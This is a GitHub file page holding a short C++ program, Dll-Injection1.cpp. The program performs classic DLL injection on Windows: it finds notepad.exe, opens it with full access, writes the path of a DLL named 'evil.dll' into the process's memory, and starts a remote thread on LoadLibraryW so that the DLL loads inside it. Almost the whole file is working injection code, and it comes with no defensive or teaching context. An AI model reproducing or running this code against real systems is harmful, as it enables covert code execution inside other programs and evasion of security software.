-
Notifications
You must be signed in to change notification settings - Fork 0
/
Dll-Injection1.cpp
50 lines (38 loc) · 1.07 KB
/
Dll-Injection1.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <Windows.h>
#include <TlHelp32.h>
#include <cstdio>
const wchar_t dllPath[] = TEXT("C:\\evil.dll");
DWORD EnumTargetProcess(LPCWSTR procname)
{
PROCESSENTRY32W proc = { proc.dwSize = sizeof(PROCESSENTRY32W) };
HANDLE hSnap = NULL;
int pid = 0;
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (INVALID_HANDLE_VALUE == hSnap) return 0;
do
{
if (lstrcmpiW(procname, proc.szExeFile) == 0)
{
pid = proc.th32ProcessID;
break;
}
} while (Process32NextW(hSnap, &proc));
return pid;
}
int main(void)
{
DWORD targetPid = EnumTargetProcess(L"notepad.exe");
if (targetPid != 0)
{
HANDLE hProc;
PVOID rbuff;
PVOID lb = GetProcAddress(GetModuleHandleW(L"Kernel32.dll"), "LoadLibraryW");
hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);
rbuff = VirtualAllocEx(hProc, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProc, rbuff, (LPVOID)dllPath, sizeof dllPath, NULL);
CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rbuff, 0, NULL);
CloseHandle(hProc);
return 0;
}
return 1;
}